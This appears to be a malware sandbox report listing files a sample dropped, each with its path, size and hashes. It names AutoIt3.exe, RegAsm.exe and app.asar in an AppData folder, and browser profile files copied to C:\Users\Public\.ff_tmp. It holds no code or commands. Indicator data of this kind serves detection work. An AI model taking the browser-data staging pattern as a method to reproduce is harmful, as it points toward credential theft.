SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AutoIt3.exe

Path C:\Users\Admin\AppData\Roaming\dd57aea3fe86\AutoIt3.exe
Size 1.1MB
SHA256 5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7
MD5 80cdd5f19d704a001589976bae277bab
SHA1 96bb030389ac938c5ebc6bd2e9fcc86a10e5f2fd
SHA512 03fbfd02d348c2b54af3eeb022ae2f1be4e4f9b30352ceb2c7589233275a914ec4fd81ff8c1544bebf96a87e28c75fd81811e658f092536367395048a82bf8fa
SSDEEP 24576:HsTBc4JYoji1a2gOI6fQJ77jkD1KV3wKct4frNFOB:MTC4a4p+E72SwRcrK
TLSH
T1DA356C0673A4419EFEA7F1329607C60BD6B17C4A07779A6F02646B626F337711A2E331
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RegAsm.exe

Path C:\Users\Admin\AppData\Roaming\dd57aea3fe86\RegAsm.exe
Size 56KB
SHA256 637e94578d6d361157bc614fd5fe1dde5b2ed0ba5e7cd02c6c473c85baf9ea11
MD5 6637e3322bcc3d7876e4e0eb03d6f18a
SHA1 ca9d4f94690958ee74a647d9da5c17229363fa10
SHA512 cdb50bb605e33cd943fcdb2023780f7250f3bdbc173524dc703190b677774e0b736c2e528540b18e0c9640bdb417802e5abbb4ff4c8b4697f33947e9fbbace29
SSDEEP 768:d8XLJGvPvv7VnZDJbn8dBhFw2oMF6Iq8yiYDKVd04N4Epg9zuW:Wwvnv79fb8dBn3hsXDKVdtN49zuW
TLSH
T14043D614A7E84216F6FB4BB2ADF5C0479936B953AD65D75C348D434D0B22380CA23BBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.asar

Path C:\Users\Admin\AppData\Roaming\dd57aea3fe86\app.asar
Size 1.3MB
SHA256 bb4256cd29c57d6c2f52a884ac63c8a37252a9b591d05331a3aa4b89bfa0a506
MD5 bf7f4285cb1f159b932090b868b04d1d
SHA1 8886fe6068636e0a1e083a35df45efdb4ad59bdc
SHA512 4d5323e9fef1ca1ab98f700cc4a4d7e4c87e4296a6a177c4d4f8ca95d6e277c9c6c942b897d5bfeca1b29c7068b7def12e40ee1aa77eb6cdaa47ab96bb6e29a4
SSDEEP 24576:ziOshvIDlr/8ZJHMtvbHSnzC2pdca5Uf4T5Z2WT6S+aRRRvvdMZ8WKhu1JY:zTsslrssAnzRRUS5Z2WTcahYxNJY
TLSH
T1975533DC0A9FD3AE94D0B3274445C56C962BB3EDC83CA5A1E33AB74B3A64619CD0C15E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

udsmbmc.node

Path C:\Users\Admin\AppData\Roaming\dd57aea3fe86\udsmbmc.node
Size 845KB
SHA256 2c5b201400dcf3f82558e4881c89c6a7560a854843837ca2834ff3be30fc7dfa
MD5 0ca2fc9b809b042254830282e435cc33
SHA1 ea1457df6630e02759aa8808f39857795edfa067
SHA512 5f7ad21f8be28123f685208496d9d7d7722a9ecf3ece710bf9ec51767334a9326f4de27a96d1944a125b697c8ba66fadebcb8744a62b3beb9f8efafe9e42cfc5
SSDEEP 24576:TM2/LAc+JLDwCOGjlsDyW/fkgOVUpBgqEKxd:TM2f9CQfkvVrgxd
TLSH
T19905339D2843FC73687431ECEA70C5AD851DE30D36E856E186F3EE09AB4E5365B0069B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

activity-stream.contile.json

Path C:\Users\Public\.ff_tmp\activity-stream.contile.json
Size 4KB
SHA256 4bdfa1317b05c0b7140818292b2effe44525dee5f964ce1d5c9820e5d03db3aa
MD5 9f59cbce5b32d35657b53a37305460f6
SHA1 93492c16aa485243679cd02dab06445bde6733d6
SHA512 ea2298a22aef80ae30838ea14becee73727186673a92ac1b7af9fe22054ef8e8c3722f7d7dbd7d3456c02532fd4538fa6f157c782a5b8c748dcdf4c334e2d640
SSDEEP 48:YdbASRreDZX3yIWMXCpqERioJQamqp4JWreDZRyIN17DQah6Gjy6T+jiRCQvnqt+:TdeMiJQamZ15D5hzT+mRLvnyV+G8nBlz
TLSH
T1FCA1E65F84B8C9120735E6E61C0B239CF117B00ADDF1DFAC71AA5E12A5AC36E40C788E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

activity-stream.discovery_stream.json

Path C:\Users\Public\.ff_tmp\activity-stream.discovery_stream.json
Size 1KB
SHA256 14a38a33cacf41d76988ef63294d8bc8bcfe4209168d4d01e083b0a60c0a6b76
MD5 331080bebe98c97c3198caf00bc9f545
SHA1 f5975d6dd8bf334aaf399b151b0a8d727806fe00
SHA512 de46980226ec87fb31d8b341e12eb726da49a9033e341d694211db8e98a563b7c5de06ca803ebd9148d3acf1756be92153dd7a8fb695a59ef2a39654c538d933
TLSH
T1B6210778184C1931E5B5781A2A5FF701C6F2F25AEA50AF6CDAA91C284CC74F4936192F
MD5 SHA1 SHA512 TLSH

Submit Download

activity-stream.discovery_stream.json

Path C:\Users\Public\.ff_tmp\activity-stream.discovery_stream.json
Size 74KB
SHA256 b8d41b5707775e3e7ee8d1adcfc9033ec9b9e8e060d2f4de36ea00db3dd9aafc
MD5 1282f160aa1611bb89130f7fa973cd83
SHA1 6728adc434cfbd206ddab9dafdce7828a11e3b81
SHA512 62328405a817e76112d74ae90d69255d1b3b3bfa6144b216adcef9cacbe359764c89834d199f868f3a397615c4e8a84f13d9e5d81c3bd8bc4e9c503c8a23d0f9
SSDEEP 768:yybpCv8+zqEigfP212xz0Wb2kdmizVJ/OD/eTf46LMpJGKACe0FbgimoJYY:JV+B2I2160WrmAVVIGTf46Zz0bgim6L
TLSH
T18873F9A3A6AD76BB1B9437C62C0F795B66D10186F38501DEFCAACE1C81CC654027A5FC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

addonStartup.json.lz4

Path C:\Users\Public\.ff_tmp\addonStartup.json.lz4
Size 4KB
SHA256 0caa4ceab735f390e18bd0bff41bb13a1756b2fd16a687d654de79253d6cdd43
MD5 5e15fde1cd4a98a622444324522f3311
SHA1 5036c038d08dbce47ef18db4ffaf6900673682b5
SHA512 b726ba85f85f162ab0512895a8c0cf8ba0d42b3f6384bf87f62244d4dfeafd282adf40198defe80f27adef7c4884539786ba2f8592eceb4d275f2dd081850627
SSDEEP 96:dU55sWNNd2xWNhD4fMgGvmHQ0FVO1u+8TXqYjE2IXR1:dW2xohD4rGvmHA8Ti2a1
TLSH
T113918DB5D949FFA5FE37C08698D97F31D2DA5A7420AD9431F06BB2054CA0BE26786300
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AABAB860D2646FDCEACF8AAC0CD412654CE5E4C0

Path C:\Users\Public\.ff_tmp\cache2\entries\AABAB860D2646FDCEACF8AAC0CD412654CE5E4C0
Size 16KB
SHA256 267f560a87775fb341d6051ea1440440d44644aeb1c6b5e701fbe2e063f87f81
MD5 d8d0a28067badc4d3c648bd20db75a5a
SHA1 5a3120a9c9bb579962c523461c28cad4db831dcb
SHA512 45d87d007078d216ed3da2b7ad9b07400ed6414dee528853faff2aa73bf0eec0a03231a675be24333cb8faad112f2a4faebf234bd7f026ac2d0c0d48f15150fa
SSDEEP 384:HalwSiO024YSWTT78XJWTT78gB7SOEAd9KVRaAcP+AWRMA9L+dS+5:6l8ZYSWTToXJWTTogB7S/AmVAf+hRMkI
TLSH
T11D728E7D8F013CAC265790E8C8B943558D1CB6A7DFF5C06D269C3D09C944A6A71FA84F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

containers.json

Path C:\Users\Public\.ff_tmp\containers.json
Size 688B
SHA256 b32a837702b91f3d6c3a6a50da2e31f1cbe6384e991aefd08eb595a05dd27761
MD5 332d1459439502d9605d59b2c597af52
SHA1 aeee847012744a06ccd5201f288efc6c0ee6094e
SHA512 18ebc86d13eec67ac1e3705ce9239598f1a9b7ea5d5406ae41b854caba080d4d9f9cf3965643b793e6c8561f96177aa68806bb7ecb700e8515e8ce3be0095278
TLSH
T18901D1364507546EB3C503A912426D22675C60B1D71EEEE9E8360A4E4ADC3E6CE31BFF
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.bin

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.bin
Size 412B
SHA256 28795527096e64392b0bfd7b5da6824a635f618dca419886efce4d2777672cdc
MD5 635eae3b20de4feabc59576caabae1d6
SHA1 b58a4277dcf6e2d98407048d5ef229477f6e4aff
SHA512 91bb8a5f84ce5e34ce7f4ce293f8a7cc3419f49dbcde8fc188db201653dd7aa03e33a5d01f2189d72605822868d0cb950f0fb8d4286fc3c132cc9c1452464c8f
TLSH
T172E086C9E3615436E809D336C8164B6147715013599FFB11B168510C8D2E5157A9D429
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 88a85d261641e6bc755949085b755fd0d32a0728c5b269a4cc05da67329c78b5
MD5 2731e42d8997ef7eb06f55ea66f10fb1
SHA1 199672c8aab6f1e758b80ff18e4b39f60b12691e
SHA512 bdde9d7485f02816cb9a7a1a15e5ecc1417ab867f4e4750a632732d9dcf30b185b5813e4f3706f4ca3e94425e4e2682d363ebc141586c508eac5c46fb072f41d
SSDEEP 192:gqa1d66JoztdzgCl6mBM2fC+CnOv5zboKsgCqdyjjCZO:zEd66Joz/zgC1OeljboKsgTdyjj
TLSH
T159E10E98EA28863BC048427BCCB50F410F7A389A9C4E2F1971DC251D2D472DE7A8E17D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 178e8404b63dfdaef99040900aa3f87fdc37bbea53f1fb189bb2d23c328e9569
MD5 23b5ce8fc9b8fb91b663cf57dd5ff671
SHA1 ec2f627fbd18e8750cff6d01ab65987cf9fd4d65
SHA512 f344c406b38318d1d9803d126d6f46b8100f67babd52b72179259a69a742aa094ec128478442e26a154605578cbdd65713f18042be18119fa906f319dddedcaf
SSDEEP 192:gqa1d66JoztdzgCl6mBM2UC+CnOv5zbo8WgCqdyjjCZO:zEd66Joz/zgC1Oxljbo8WgTdyjj
TLSH
T1EFD1FDA8EA28863BC048527BCCB50F410F76385BDC4E3F19319C25192D5B29E7A8E17D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 2KB
SHA256 68204b291954e49c0a40e5c94a0937a76ba424d71f851c3a9f4e1917f282cc63
MD5 68d85122e9b5a6fc8ac87835ce3d5801
SHA1 6d475492a8e317df4f2aa1fde0c57b6bb8bdd274
SHA512 a6ea06a73031c976b07c383d7bfb0c8e4308d2ce86c10c643759279da0692492af3909f2fd7db1e2a3af73f6db05d820aef238aef119aa0aad66d55f1cf61c82
TLSH
T1D9514699E3298A3FE408813ACC6657005F747455A46E7F2F759C600E2D4B2DE3B8D0BD
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 2KB
SHA256 02ede322a9bbc0b232e63f1330abe295b0d840ab2d0090a466f2f3726a1198dd
MD5 b3268123c7ffd0486cfcd360b42afed8
SHA1 7c2e182bbd8052320629307df9e00a545493e3fd
SHA512 fecb35ce1b0338eb86874774e9a70c05b2de7f1ab16d51fd8b81e287348fd2cccea554507c090acafeaba7be8c6039b4d08a99a147493bf0e7712fd66e35f38f
TLSH
T163517358E7288A3FE405813ACC569B409F747415E46E2F2B35ACA04E2E0B3DE3A8D03D
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 2KB
SHA256 bb680057314138ac209fd86c4c15b7ebeab74acc990e63b3924be3e88ea6b14f
MD5 843732f95f454a5bd9495b32f6f4bb18
SHA1 fac5c9ef628af9c47f757c18d323eeb28ed47e18
SHA512 aa70a96c53dcb41e9e27450cd0f8e0df1a9f1e3a8fdd0ff8887d13d7761120f19cb7776a18cdeed954e36f468229e2cf889abff53d3d7a68f9b3a2e9d4fdd25b
TLSH
T104517458E7298A3FE405813ADC569B409F747455E46E2F2B35ACA04E2E0B3DE3B8D07D
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 2KB
SHA256 29e197c5662101438f30826508477237984ba19e7bf938f3c751c59deaed325a
MD5 1f0f9bef003eb57a48d3fd11b6e7025c
SHA1 35f15d473a00801a0e1037d9d93d9c1b7dfb7fc8
SHA512 188b3c037e1c514707a621ba4ece4a84ae47ecae5700fd5ea1bc1316ed82e111460a1582c87adc94cc53fa7037611fb26b341bacddc990097a445e08d4e82bd6
TLSH
T110519548E7288A3FE404813ADC569B009F747415E46E2F2B35AC604E2E0B3DE3ACD03D
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 2KB
SHA256 10956006330b34b01ae989365117d8b45318f70426f6177a765d8fdc236f0bb1
MD5 7d2f2cec104c5a82cb4784eeb20fda24
SHA1 8fec3b6bec3ecc630f00ecc69df0f6e0fb5df03f
SHA512 f3de47ce329072f41ee4f9282e2095831f147e6ad4fcf7b2f7c0fe7b68735b94230a40b0f03bbdc447f6958d4dd19ad7ec739ea8e94b1c1ce492fa3cee576e0d
TLSH
T127519758E729863FE445813EDD665B004F74745AE86E2F2A31ACA44E2D0B3DD3ACD07E
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 3KB
SHA256 6892844520f32ec87338e7bd8cd2782db2883cb01319779ab848392206bdd51e
MD5 e056e1c091d379bdbf7cc664c84f30e7
SHA1 9b1afd1c170f39ccf20ac84123645e7b29e867ba
SHA512 d412cd36540c46b5475a632edadfd02d9454370b335cbd410720c9cf323794cc7074cb58242bac8988bafb56cb4ac784f812d969e652270c59a6e0812ec92c32
TLSH
T13161A958E629863FD445423ECD665B004F747496E86E2F2A31DC644D2E4B3DD3A8D07E
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 3KB
SHA256 435d230f1c631945bfd71b80765ec6e213a9198a6c40d53d44f6675953b73670
MD5 255b7481f76c71b1f8a02212c0347b6e
SHA1 fbb3be02e7f53d738376c89243c6790c3ed92a41
SHA512 52d56ded699c1df9be63747dd81dba70b4ecf089f347acd8cb11ca31256963eaa880c78a3bd99a7ead69739a1e8ced1ba9de6ed130cde42eead092942930e2f5
TLSH
T19B81B968F229863FD445823ECC625B000F75384AE85E3F2A31EC644D2D572DE7A8D0BE
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 4KB
SHA256 b039fb3d169ef8584540a9e7e9e647c634de32248c8ae1ff348afc05b17a4b32
MD5 01cb8637d6745147bb2ad1a999e06dc7
SHA1 5c98f985e81dce0495129f656e506b9a8000bb42
SHA512 53881181afc854a0da01c14722f723a54db7f992cf67d0ecd9d70131ef3be2fccc7fb4abdd885f55ea92617eabb21e8f42b1425ea9b60063286769df12236358
SSDEEP 96:VSdF95/7bkW6ArlyUR64qNy2/dd66JoztdzgClKtmBM2/:VOv5zbo8lyj4qj1d66JoztdzgCl6mBM2
TLSH
T121917868E229863FC455423ECC721B100E76384AE85E7F2A32EC74593D572DD7A8D1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 5KB
SHA256 e923183d02f001b2a9e8f36a7f7cac50ca63a2e6400989f83aa4d88c4879fb0b
MD5 ed36a73c7c65e8fce892ee8be1ee98e6
SHA1 4b26931bca1913c086ff536f5918c667cf8ba311
SHA512 25076703c62e5a2335f55c9865e8b4d601bdafe51b7d13dadf9ddc6e78bb9c44f3a96dbac52b1f7f3edf11bdee53e75803e3000f9f56cf9587fc488a196268a8
SSDEEP 96:ESdF95/7bkW6ArlyUR6WxvWiqNy2/dd66JoztdzgClKtmBM2/9:EOv5zbo8lyjAOiqj1d66JoztdzgCl6mn
TLSH
T162B1FCA8E618863FC444837ECCA11B044F3A389AE84D3F1A35EC745939572DE768E1BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 5KB
SHA256 30e10baa19a59cbb69806a9014e97b7e85fed74480a3960c81ce92852b1b7379
MD5 f8eaea94e91a918398747ae14f4b0b3d
SHA1 ed411578352d5a85dc7bd18ef8c27821c2e83183
SHA512 b9490c0fc7b291171406f72a241732d3be64215da732aaa46d9451b194dd030f91f381886d21ee76566dbeb4a7d68067f772c39ad837f90285472ea78ac39e3b
SSDEEP 96:eqNy2/dd66JoztdzgClKtmBM2/kCsSdF95/7bkW6ArlyUR6WxvW+:eqj1d66JoztdzgCl6mBM2sCsOv5zbo8V
TLSH
T1FBB1FCA8E628863FC444437ACCA11B044F3A395AD84D3F1A35EC74593D572DE768E1BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 1e72f0d5e12fc1666a769321887fda988cf33a65f167750ecd085ec3eadf9a71
MD5 2be181cdfcebe95dfe6446ba39ceac37
SHA1 b01b09b3190dc7f8c6e35d5e934809df341a6814
SHA512 bff09b1f8c551cead72a78b6764139b2653ee1fab0e8d27b06ea50bc734696d0fde90edc5217f2f84dde8417d30d2f8240a92accccf7d7a6b7281e0ba7834092
SSDEEP 192:gqh1d66JoztdzgCl6mBM23C+CnOv5zbo8WgCqdyjjCZO+:zfd66Joz/zgC1OMljbo8WgTdyjjk
TLSH
T1C8D1FDA8EA288A3FC048527BCCB50F410F76385ADC4E3F19319C25192D5B29E7A8E17D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Public\.ff_tmp\datareporting\glean\events\events
Size 1KB
SHA256 7daf7d7faf7a2a406c4c60a7cb95f13a9ffcc490e4bb165096892235127af07f
MD5 96f73e266bfe3ed8d0739007468bfff4
SHA1 1efbb648987413f82f2669c8e56def6e92461a1c
SHA512 884ba5ba8beadeefeac77f2272e0cde92f91105b1b5eed8e03196f73770b45c277da47923893e2614157b0d93710941a57540b4990690752c33cb8c147367965
TLSH
T17631481C3FA5CD75DCDBF29C20A0824BD3754A57A6522D433E21EBCACD806D9315A93C
MD5 SHA1 SHA512 TLSH

Submit Download

51faebca-ffdd-47dd-8508-83e44c536bf8

Path C:\Users\Public\.ff_tmp\datareporting\glean\pending_pings\51faebca-ffdd-47dd-8508-83e44c536bf8
Size 235B
SHA256 1db3af15dedbd474faa36cdd3d34c473a28e2fe19c20f0b86592ebc27121d5f7
MD5 1a0a619862fa37ab6bf4674a22e0635e
SHA1 64e70b22f15cb49136a9b538d464d0134cacd4af
SHA512 d340b45714a9becbc9d94acc694d2b3ed705e0ea0f85e855dbb97c4f7f3339ec948fd718e6e02bf70063f26e10fe89d1d15e2733b4c09f65c7df10996fe334e0
TLSH
T19DD09780588C6BAC08140F07B0E1B8C23055CC37106A5810D65142B489FDED9826182B
MD5 SHA1 SHA512 TLSH

Submit Download

ea13598d-63a5-4912-925c-719aecb4a2c8

Path C:\Users\Public\.ff_tmp\datareporting\glean\pending_pings\ea13598d-63a5-4912-925c-719aecb4a2c8
Size 796B
SHA256 80c839f0fcf19b09433bb5c34cd0929f1a69a235f0690604849ebbb8360ea30f
MD5 f01ac40a5682f1ae1a81ea70da6b53e5
SHA1 f24af465311a156b32d69f37a168b6a9c7f88e40
SHA512 728ec786f6e60de03dd5367e0d15e6abb534d8965f814e714c803402630f1c9fb1f3547a79bd58f8997d67da394541f47c3505fe7341d177721353ba853e7dd7
TLSH
T1A401C2818615F573CD6CE34785B53B8143F4706381850D147EA097084DBB50AA76A707
MD5 SHA1 SHA512 TLSH

Submit Download

state.json

Path C:\Users\Public\.ff_tmp\datareporting\state.json
Size 175B
SHA256 974093eab8ae4a5afe68b945011f77c797c09e7c19d5ca0a2c121da5d29073bf
MD5 ed897bb22fd48b737802e9fdbbc61c13
SHA1 31f6a5efa1fb57260b7bfa84706890d3c291e7b0
SHA512 5da82d55b328b450640e4025334a114e9beb4ad5defa4ddbf990430d9bea9ffdef4b62254b5d5638f108780105095b29e0f2d98c1f8ae74c0128d68b2a45defa
TLSH
T183C0C0860D8EC973038C3D02F38D4C85106D302034038E00618C0B2DD11B20B20CD004
MD5 SHA1 SHA512 TLSH

Submit Download

state.json

Path C:\Users\Public\.ff_tmp\datareporting\state.json
Size 175B
SHA256 aad123b7091fcedb235732a614726b0cef02b72c4af2c8f9fc9c7139753a044c
MD5 c94bb68753bd289e69e599b88337849b
SHA1 a9cee19ec5b96c3cd5347b2969d82a256ab43e24
SHA512 16819d2add196ce4b8b88b02c395f4b97e8d4eb9c30d01316313c442ba7a37c9de15b5789adc4860651b59f30706d1bf9fe9e4416535080ecfa62f567b56001e
TLSH
T14EC0C0C58DCA993B01842D0171CC04D3302D68321C02CC30578C070DD1FEC06008D400
MD5 SHA1 SHA512 TLSH

Submit Download

extension-preferences.json

Path C:\Users\Public\.ff_tmp\extension-preferences.json
Size 799B
SHA256 8961a82960c13dfdca794fe3fd6f448ff49a93a8c59782b47f5004b11d3da145
MD5 12c305f5f06290b5f4f4a55d6b4b4389
SHA1 815edc293ed9e3ca3866898438e762b4d10e803a
SHA512 d7aa4af5550695f93724c3159c29d81518c33575459669f1c4b35751df54799cd9eef584119e0c8230b4a0b1f545fadd207e7497619bffa4164ec7b291339801
TLSH
T1C601E53B640B6EB01E8E5621FE384A92E791111B50B7F6E47E69934A13D3970C1ED39C
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Public\.ff_tmp\extensions.json
Size 9KB
SHA256 e138e678cf394a119f5491dc38d3f7424b7805ff646d57110e03544712384fb7
MD5 5dba26029f73c958ef4b476190278530
SHA1 b151acb6effde14993e535a48c336ff7333d5d36
SHA512 b803faaf12187250b851f60c17a3929754233ff874265c5e35e9be56f17b5c989dfcc15f322fac242128d7ede95d1a651558fa6ce97c21f4786987c39cdd445e
SSDEEP 192:zAkI4vVUmldvA8dhEpg943DZ96gDq/L4kY3:zAkI4vVUmldvA8dhWg94zZ96oGL4H3
TLSH
T17712541549048EB82A4EA78BBB367D01C27D473B60845C38B5DD8FC842FA5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extensions.json

Path C:\Users\Public\.ff_tmp\extensions.json
Size 14KB
SHA256 da1198e98d6f4ed4332d442b896ef03d43c2576718ab6e0665f79d36f7b352f9
MD5 1ef405a4f548243f97548d9e0c851a7e
SHA1 551f03fcc1a0d73850d12b578151c383042b52d1
SHA512 40f72dd3ea82372a1a1570316bb793e0466880be598aa2d10cff91b09d9056ceb9645f8fe75734958ee9a8cd5c60f745cd2cf83899ede75e4d6f815daa3dfe69
SSDEEP 384:zAkI4vVUmldvS8dhWg94zZ96oGL4HiL4PeL4HYXL4H6L4HC:LI4dRf3X54r634w4s4E4o4i
TLSH
T10B62431545148EB8298F978AAA367E01C37D473B70845C78F4DD8FC842FA5B902FB61B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

handlers.json

Path C:\Users\Public\.ff_tmp\handlers.json
Size 380B
SHA256 a0e0f7d600383de873dcb01474154fbbf513bdbe55638481ffce6d198399352c
MD5 a2e4be6328337b95ac3bdad5bd4c0983
SHA1 0badbb13d20ca84b342d077cbc00fdd7b342fc28
SHA512 138be3384a3c874c967f0bdd56a6c1bca334deea67d21ade2ff281cfd1f10047561590520bda496b2e4d0130a42295c5ced08cd9d07f10a64ef27226f4daa149
TLSH
T19DE061D26C1DAFE1073DE56CFE077D06C1B6051B3CF8EAED58D08B04076195D9007215
MD5 SHA1 SHA512 TLSH

Submit Download

prefs-1.js

Path C:\Users\Public\.ff_tmp\prefs-1.js
Size 6KB
SHA256 e053bc539c5fa942d8b90791c38acf422e011aebae5868efdb29ddc9eeea5fa7
MD5 dba6562018c8b99e45c368b5d5723ed9
SHA1 c21a428dfe6f261673243d4db643cace79a714fc
SHA512 0f34a4e8f8c67f94d108be147875542981a1c00f717fcdd4d8be210e2c1ce502f387bc2094fbd6238091a663fc878cfd690bc7d684a13fe543302590fe2d4ad9
SSDEEP 96:xHrGtTUyqGq4ftzvoSHlvdv9j9nLHOYUBw8hGcnpCS5:EIR4fySHbOYUBw8hPCW
TLSH
T1D9D11E785508CB7F74B677ACAC6488716AB2013BBBBF28D650B548C5015CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Public\.ff_tmp\prefs-1.js
Size 6KB
SHA256 2f7b0e48b94dc9d0f863beb3e0a92e8253aa82140ea74f393d8658da6d0c6a38
MD5 ce1f5cd40daaeb07c319cf4ffa7d22d6
SHA1 d122618f0c8e0a9f7efcfb030c5a56138895eba4
SHA512 1deb01efd01c6e226489019dedf9aad4b33c9f76b30fd06de378cca3707a5989e1de024d83727b5438f7508bf725e82c5f4e6f44bfff5fa1a368f2f5b27a4972
SSDEEP 96:xHrGtTUyqGq4ftzvoSHlvdv9jmnLHOYUBw8hGcnpCS5:EIR4fySH2OYUBw8hPCW
TLSH
T154D11E785508CF7F74B676ACAC6488716AB2023BBBBF28D650B558C5011CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 2KB
SHA256 c83d4b5320d060228eda6b18c411088bc569fe9811169a4e5213e4a960b4e0fe
MD5 864a5c3774684c36604354df28eec6f7
SHA1 c5e0737edf7dcc14fecaa07dc4bdb4615f0aef71
SHA512 903ac274ccba5223c1ba0e1ce6db864c0b171494944c9f1f3ca93209f3916781886ffa8a87cdbd9202e2aebef168179d2f24337f0d58429f163f8342dd3826f8
TLSH
T194410CB955048F6FF4F973ACBC144571AEB2427BB67F189210B49084010CF3846F6AE7
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 4KB
SHA256 c237b6ce7e829996b53a3cbacbce6b45717989d000dab6e9ec7a0f81a788ace7
MD5 8dcac1da0e7d5060c63e9fbfa6477d2a
SHA1 8285dc9ed3d1f8af25ddd8fb24c0d380deea04f4
SHA512 0389e3d92584feb76d5a70f4911e64e9f29c1684a84ff2f0eda462c2c9b48f61379db8fcb0c9b95f940655f59e6d936db484ee357c6838db076ec63a6165299d
SSDEEP 48:gU9Bl1zy34Y6qGq9pgsmQgtz+LoVYRNIn0R/NJmhri1RYHOKJo9FdVndUR8loQQv:xHa4qGqIdtzvV6ElW9hnOIYp1w8hGcnX
TLSH
T1FD9110786544CB6FB4B5776CBC748C716AB2023B777F288610A594C4410CF3886F9AE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

search.json.mozlz4

Path C:\Users\Public\.ff_tmp\search.json.mozlz4
Size 327B
SHA256 a4c8d0344cbf6e230cecbc4d989de36ec075cd8eda7ae740242e1b05b5dd3fd4
MD5 240589068f063f8f706378168230e975
SHA1 9531374a22dea374d032f7484567fb1b201af87d
SHA512 6d04629da44769a64b8808d198f3b3ba6388a0cd5441269e35ca39e7595c4e9abd32618f76ff60b79df80732838ee2a67455e195a801a67334a592b6b6240da5
TLSH
T169E07D3E9C15A0B6C2AC0AC35F0F494A0F58583A9324AC8C90B49D91557FF9B5248E2B
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Public\.ff_tmp\sessionCheckpoints.json
Size 90B
SHA256 00ad9799527c3fd21f3a85012565eae817490f3e0d417413bf9567bb5909f6a2
MD5 c4ab2ee59ca41b6d6a6ea911f35bdc00
SHA1 5942cd6505fc8a9daba403b082067e1cdefdfbc4
SHA512 71ea16900479e6af161e0aad08c8d1e9ded5868a8d848e7647272f3002e2f2013e16382b677abe3c6f17792a26293b9e27ec78e16f00bd24ba3d21072bd1cae2
TLSH
T1D4B01205C8181030CD43140873743B429B2E00B231500100317CF88C203B0134556883
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Public\.ff_tmp\sessionCheckpoints.json
Size 53B
SHA256 792955295ae9c382986222c6731c5870bd0e921e7f7e34cc4615f5cd67f225da
MD5 ea8b62857dfdbd3d0be7d7e4a954ec9a
SHA1 b43bc4b3ea206a02ef8f63d5bfad0c96bf2a3b2a
SHA512 076ee83534f42563046d25086166f82e1a3ec61840c113aec67abe2d8195daa247d827d0c54e7e8f8a1bbf2d082a3763577587e84342ec160ff97905243e6d19
TLSH
